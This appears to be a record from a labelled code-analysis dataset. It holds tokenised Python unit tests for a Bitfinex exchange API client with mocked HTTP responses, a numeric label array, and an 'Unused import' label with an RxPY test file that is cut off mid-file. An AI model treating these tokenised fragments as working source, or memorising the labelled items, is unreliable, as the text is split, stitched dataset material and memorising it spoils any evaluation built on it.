"265", "8.3", "399", "366", "91_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "ticker_", "(_", "'", "btc", "usd", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "httpretty_", "._", "activate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "today_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mock", " ", "out", " ", "the", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mock", "\\u", "body_", "=_", "'{", "\"", "low", "\":\"", "550", ".0", "9", "\",\"", "high", "\":\"", "572", ".2", "398", "\",\"", "volume", "\":\"", "730", "5.3", "311", "983", "6", "\"}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "'", "toda", "y", "/", "%", "s", "'_", ",_", "path", "\\u", "arg_", "=_", "'", "btc", "usd", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "httpretty_", "._", "register", "\\u", "uri_", "(_", "httpretty_", "._", "GET_", ",_", "url_", ",_", "body_", "=_", "mock", "\\u", "body_", ",_", "status_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "low", "\"_", ":_", "550", ".0", "9_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "high", "\"_", ":_", "572", ".2", "398", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "volume", "\"_", ":_", "730", "5.3", "311", "983", "6_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "today_", "(_", "'", "btc", "usd", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "httpretty_", "._", "activate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "stats_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mock", " ", "out", " ", "the", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mock", "\\u", "body_", "=_", "'[{", "\"", "period", "\":", "1", ",\"", "volume", "\":\"", "741", "0.27", "250", "155", "\"},", "{", "\"", "period", "\":", "7", ",\"", "volume", "\":\"", "522", "51.", "371", "1800", "6", "\"},", "{", "\"", "period", "\":", "30", ",\"", "volume", "\":\"", "464", "505", ".0", "775", "325", "1", "\"}]", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "'", "stats", "/", "%", "s", "'_", ",_", "path", "\\u", "arg_", "=_", "'", "btc", "usd", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "httpretty_", "._", "register", "\\u", "uri_", "(_", "httpretty_", "._", "GET_", ",_", "url_", ",_", "body_", "=_", "mock", "\\u", "body_", ",_", "status_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "period", "\"_", ":_", "1_", ",_", "\"", "volume", "\"_", ":_", "741", "0.27", "250", "155_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "period", "\"_", ":_", "7_", ",_", "\"", "volume", "\"_", ":_", "522", "51.", "371", "1800", "6_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "period", "\"_", ":_", "30_", ",_", "\"", "volume", "\"_", ":_", "464", "505", ".0", "775", "325", "1_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "stats_", "(_", "'", "btc", "usd", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "httpretty_", "._", "activate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "lend", "book_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mock", " ", "out", " ", "the", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mock", "\\u", "body_", "=_", "'{", "\"", "bids", "\":[", "{", "\"", "rate", "\":\"", "5.4", "7", "5", "\",\"", "amo", "unt", "\":\"", "15.", "038", "946", "6", "3", "\",\"", "period", "\":", "30", ",\"", "timestamp", "\":\"", "139", "511", "214", "9.0", "\",\"", "fr", "r", "\":\"", "No", "\"},", "{", "\"", "rate", "\":\"", "2.4", "09", "\",\"", "amo", "unt", "\":\"", "14.", "512", "186", "8", "\",\"", "period", "\":", "7", ",\"", "timestamp", "\":\"", "139", "549", "759", "9.0", "\",\"", "fr", "r", "\":\"", "No", "\"}]", ",\"", "asks", "\":[", "{", "\"", "rate", "\":\"", "6.3", "5", "1", "\",\"", "amo", "unt", "\":\"", "15.", "518", "073", "5", "\",\"", "period", "\":", "5", ",\"", "timestamp", "\":\"", "139", "554", "9996", ".0", "\",\"", "fr", "r", "\":\"", "No", "\"},", "{", "\"", "rate", "\":\"", "6.3", "588", "\",\"", "amo", "unt", "\":\"", "626", ".9", "480", "824", "9", "\",\"", "period", "\":", "30", ",\"", "timestamp", "\":\"", "139", "540", "065", "4.0", "\",\"", "fr", "r", "\":\"", "Ye", "s", "\"}]", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "'", "lend", "book", "/", "%", "s", "'_", ",_", "'", "btc", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "httpretty_", "._", "register", "\\u", "uri_", "(_", "httpretty_", "._", "GET_", ",_", "url_", ",_", "body_", "=_", "mock", "\\u", "body_", ",_", "status_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "bids", "\"_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "rate", "\"_", ":_", "5.4", "75_", ",_", "\"", "amo", "unt", "\"_", ":_", "15.", "038", "946", "63_", ",_", "\"", "period", "\"_", ":_", "30_", ",_", "\"", "timestamp", "\"_", ":_", "139", "511", "214", "9.0_", ",_", "\"", "fr", "r", "\"_", ":_", "False_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "rate", "\"_", ":_", "2.4", "09_", ",_", "\"", "amo", "unt", "\"_", ":_", "14.", "512", "186", "8_", ",_", "\"", "period", "\"_", ":_", "7_", ",_", "\"", "timestamp", "\"_", ":_", "139", "549", "759", "9.0_", ",_", "\"", "fr", "r", "\"_", ":_", "False_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "asks", "\"_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "rate", "\"_", ":_", "6.3", "51_", ",_", "\"", "amo", "unt", "\"_", ":_", "15.", "518", "073", "5_", ",_", "\"", "period", "\"_", ":_", "5_", ",_", "\"", "timestamp", "\"_", ":_", "139", "554", "9996", ".0_", ",_", "\"", "fr", "r", "\"_", ":_", "False_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "rate", "\"_", ":_", "6.3", "588", "_", ",_", "\"", "amo", "unt", "\"_", ":_", "626", ".9", "480", "824", "9_", ",_", "\"", "period", "\"_", ":_", "30_", ",_", "\"", "timestamp", "\"_", ":_", "139", "540", "065", "4.0_", ",_", "\"", "fr", "r", "\"_", ":_", "True_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "lend", "book_", "(_", "'", "btc", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "httpretty_", "._", "activate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "lend", "book", "\\u", "with", "\\u", "parameters_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mock", " ", "out", " ", "the", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mock", "\\u", "body_", "=_", "'{", "\"", "bids", "\":[", "{", "\"", "rate", "\":\"", "5.4", "7", "5", "\",\"", "amo", "unt", "\":\"", "15.", "038", "946", "6", "3", "\",\"", "period", "\":", "30", ",\"", "timestamp", "\":\"", "139", "511", "214", "9.0", "\",\"", "fr", "r", "\":\"", "No", "\"},", "{", "\"", "rate", "\":\"", "2.4", "09", "\",\"", "amo", "unt", "\":\"", "14.", "512", "186", "8", "\",\"", "period", "\":", "7", ",\"", "timestamp", "\":\"", "139", "549", "759", "9.0", "\",\"", "fr", "r", "\":\"", "No", "\"}]", ",\"", "asks", "\":[", "]}", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parameters_", "=_", "{_", "'", "limit", "\\u", "bids", "'_", ":_", "2_", ",_", "'", "limit", "\\u", "asks", "'_", ":_", "0_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "'", "lend", "book", "/", "%", "s", "'_", ",_", "'", "btc", "'_", ",_", "parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "httpretty_", "._", "register", "\\u", "uri_", "(_", "httpretty_", "._", "GET_", ",_", "url_", ",_", "body_", "=_", "mock", "\\u", "body_", ",_", "status_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "bids", "\"_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "rate", "\"_", ":_", "5.4", "75_", ",_", "\"", "amo", "unt", "\"_", ":_", "15.", "038", "946", "63_", ",_", "\"", "period", "\"_", ":_", "30_", ",_", "\"", "timestamp", "\"_", ":_", "139", "511", "214", "9.0_", ",_", "\"", "fr", "r", "\"_", ":_", "False_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "rate", "\"_", ":_", "2.4", "09_", ",_", "\"", "amo", "unt", "\"_", ":_", "14.", "512", "186", "8_", ",_", "\"", "period", "\"_", ":_", "7_", ",_", "\"", "timestamp", "\"_", ":_", "139", "549", "759", "9.0_", ",_", "\"", "fr", "r", "\"_", ":_", "False_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "asks", "\"_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "lend", "book_", "(_", "'", "btc", "'_", ",_", "parameters_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "httpretty_", "._", "activate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "order", "\\u", "book_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mock", " ", "out", " ", "the", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mock", "\\u", "body_", "=_", "'{", "\"", "bids", "\":[", "{", "\"", "price", "\":\"", "562", ".2", "601", "\",\"", "amo", "unt", "\":\"", "0.98", "5", "\",\"", "timestamp", "\":\"", "139", "556", "755", "6.0", "\"}]", ",\"", "asks", "\":[", "{", "\"", "price", "\":\"", "563", ".00", "1", "\",\"", "amo", "unt", "\":\"", "0.", "3", "\",\"", "timestamp", "\":\"", "139", "553", "2200", ".0", "\"}]", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "'", "book", "/", "%", "s", "'_", ",_", "'", "btc", "usd", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "httpretty_", "._", "register", "\\u", "uri_", "(_", "httpretty_", "._", "GET_", ",_", "url_", ",_", "body_", "=_", "mock", "\\u", "body_", ",_", "status_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "bids", "\"_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "price", "\"_", ":_", "562", ".2", "601", "_", ",_", "\"", "amo", "unt", "\"_", ":_", "0.98", "5_", ",_", "\"", "timestamp", "\"_", ":_", "139", "556", "755", "6.0_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "asks", "\"_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "price", "\"_", ":_", "563", ".00", "1_", ",_", "\"", "amo", "unt", "\"_", ":_", "0.3_", ",_", "\"", "timestamp", "\"_", ":_", "139", "553", "2200", ".0_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "order", "\\u", "book_", "(_", "'", "btc", "usd", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bit", "fine", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "httpretty_", "._", "activate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "shou", "ld", "\\u", "have", "\\u", "order", "\\u", "book", "\\u", "with", "\\u", "parameters_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "mock", " ", "out", " ", "the", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mock", "\\u", "body_", "=_", "'{", "\"", "bids", "\":[", "{", "\"", "price", "\":\"", "562", ".2", "601", "\",\"", "amo", "unt", "\":\"", "0.98", "5", "\",\"", "timestamp", "\":\"", "139", "556", "755", "6.0", "\"}]", ",\"", "asks", "\":[", "]}", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parameters_", "=_", "{_", "'", "limit", "\\u", "asks", "'_", ":_", "0_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "client_", "._", "url", "\\u", "for_", "(_", "'", "book", "/", "%", "s", "'_", ",_", "'", "btc", "usd", "'_", ",_", "parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "httpretty_", "._", "register", "\\u", "uri_", "(_", "httpretty_", "._", "GET_", ",_", "url_", ",_", "body_", "=_", "mock", "\\u", "body_", ",_", "status_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "bids", "\"_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "price", "\"_", ":_", "562", ".2", "601", "_", ",_", "\"", "amo", "unt", "\"_", ":_", "0.98", "5_", ",_", "\"", "timestamp", "\"_", ":_", "139", "556", "755", "6.0_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "asks", "\"_", ":_", "[_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "expected_", ",_", "self_", "._", "client_", "._", "order", "\\u", "book_", "(_", "'", "btc", "usd", "'_", ",_", "parameters_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Trade", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Trade", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "tc_", "=_", "Trade", "Client_", "(_", "API", "\\u", "KEY_", ",_", "API", "\\u", "SECRET_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Trade", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "instantiate", "\\u", "trade", "client_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Is", "Instance_", "(_", "self_", "._", "tc_", ",_", "Trade", "Client_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Trade", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "active", "\\u", "order", "s", "\\u", "return", "s", "\\u", "json_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ao_", "=_", "self_", "._", "tc_", "._", "active", "\\u", "orders_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "ao_", ",_", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Trade", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "active", "\\u", "position", "s", "\\u", "return", "s", "\\u", "json_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ap_", "=_", "self_", "._", "tc_", "._", "active", "\\u", "positions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "ap_", ",_", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Trade", "Client_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "full", "\\u", "history_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ap_", "=_", "self_", "._", "tc_", "._", "active", "\\u", "positions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Instance_", "(_", "ap_", ",_", "list_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ReactiveX/RxPY/tests/test_observable_time.py
[ { "content": "import logging\nfrom datetime import datetime, timedelta\n\nfrom rx import Observable\nfrom rx.testing import TestScheduler, ReactiveTest, is_prime, MockDisposable\nfrom rx.disposables import Disposable, SerialDisposable\n\nFORMAT = '%(asctime)-15s %(threadName)s %(message)s'\nlogging.basicConfig(filename='rx.log', format=FORMAT, level=logging.DEBUG)\n#logging.basicConfig(format=FORMAT, level=logging.DEBUG)\nlog = logging.getLogger('Rx')\n\non_next = ReactiveTest.on_next\non_completed = ReactiveTest.on_completed\non_error = ReactiveTest.on_error\nsubscribe = ReactiveTest.subscribe\nsubscribed = ReactiveTest.subscribed\ndisposed = ReactiveTest.disposed\ncreated = ReactiveTest.created\n\n\n# Helper function for raising exceptions within lambdas\n\n\n\n# // TakeLastBuffer\n# def test_takeLastBuffer_with_time_Zero1():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable(on_next(210, 1), on_next(220, 2), on_completed(230))\n# res = scheduler.start(create)\n# return xs.takeLastBuffer_with_time(0, scheduler)\n\n# res.messages.assert_equal(on_next(230, function (lst) {\n# return lst.length === 0\n# }), on_completed(230))\n# xs.subscriptions.assert_equal(subscribe(200, 230))\n\n# def test_takeLastBuffer_with_time_Zero2():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable(on_next(210, 1), on_next(220, 2), on_next(230, 3), on_completed(230))\n# res = scheduler.start(create)\n# return xs.takeLastBuffer_with_time(0, scheduler)\n\n# res.messages.assert_equal(on_next(230, function (lst) {\n# return lst.length === 0\n# }), on_completed(230))\n# xs.subscriptions.assert_equal(subscribe(200, 230))\n\n\n# function arrayEqual(arr1, arr2) {\n# if (arr1.length != arr2.length) return false\n# for (var i = 0, len = arr1.length i < len i++) {\n# if (arr1[i] != arr2[i]) return false\n# }\n# return true\n# }\n\n# def test_takeLastBuffer_with_time_Some1():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable(on_next(210, 1), on_next(220, 2), on_next(230, 3), on_completed(240))\n# res = scheduler.start(create)\n# return xs.takeLastBuffer_with_time(25, scheduler)\n\n# res.messages.assert_equal(on_next(240, function (lst) {\n# return arrayEqual(lst, [2, 3])\n# }), on_completed(240))\n# xs.subscriptions.assert_equal(subscribe(200, 240))\n\n# def test_takeLastBuffer_with_time_Some2():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable(on_next(210, 1), on_next(220, 2), on_next(230, 3), on_completed(300))\n# res = scheduler.start(create)\n# return xs.takeLastBuffer_with_time(25, scheduler)\n\n# res.messages.assert_equal(on_next(300, function (lst) {\n# return lst.length === 0\n# }), on_completed(300))\n# xs.subscriptions.assert_equal(subscribe(200, 300))\n\n# def test_takeLastBuffer_with_time_Some3():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable(on_next(210, 1), on_next(220, 2), on_next(230, 3), on_next(240, 4), on_next(250, 5), on_next(260, 6), on_next(270, 7), on_next(280, 8), on_next(290, 9), on_completed(300))\n# res = scheduler.start(create)\n# return xs.takeLastBuffer_with_time(45, scheduler)\n\n# res.messages.assert_equal(on_next(300, function (lst) {\n# return arrayEqual(lst, [6, 7, 8, 9])\n# }), on_completed(300))\n# xs.subscriptions.assert_equal(subscribe(200, 300))\n\n# def test_takeLastBuffer_with_time_Some4():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable(on_next(210, 1), on_next(240, 2), on_next(250, 3), on_next(280, 4), on_next(290, 5), on_next(300, 6), on_completed(350))\n# res = scheduler.start(create)\n# return xs.takeLastBuffer_with_time(25, scheduler)\n\n# res.messages.assert_equal(on_next(350, function (lst) {\n# return lst.length === 0\n# }), on_completed(350))\n# xs.subscriptions.assert_equal(subscribe(200, 350))\n\n# def test_takeLastBuffer_with_time_All():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable(on_next(210, 1), on_next(220, 2), on_completed(230))\n# res = scheduler.start(create)\n# return xs.takeLastBuffer_with_time(50, scheduler)\n\n# res.messages.assert_equal(on_next(230, function (lst) {\n# return arrayEqual(lst, [1, 2])\n# }), on_completed(230))\n# xs.subscriptions.assert_equal(subscribe(200, 230))\n\n# def test_takeLastBuffer_with_time_Error():\n# var ex, res, scheduler, xs\n# scheduler = TestScheduler()\n# ex = 'ex'\n# xs = scheduler.create_hot_observable(on_error(210, ex))\n# res = scheduler.start(create)\n# return xs.takeLastBuffer_with_time(50, scheduler)\n\n# res.messages.assert_equal(on_error(210, ex))\n# xs.subscriptions.assert_equal(subscribe(200, 210))\n\n# def test_takeLastBuffer_with_time_Never():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable()\n# res = scheduler.start(create)\n# return xs.takeLastBuffer_with_time(50, scheduler)\n\n# res.messages.assert_equal()\n# xs.subscriptions.assert_equal(subscribe(200, 1000))\n\n# def test_Take_Zero():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable(on_next(210, 1), on_next(220, 2), on_completed(230))\n# res = scheduler.start(create)\n# return xs.takeWithTime(0, scheduler)\n\n# res.messages.assert_equal(on_completed(201))\n# xs.subscriptions.assert_equal(subscribe(200, 201))\n\n# def test_Take_Some():\n# var res, scheduler, xs\n# scheduler = TestScheduler()\n# xs = scheduler.create_hot_observable(on_next(210, 1), on_next(220, 2), on_next(230, 3), on_completed(240))\n# res = scheduler.start(create)\n# return 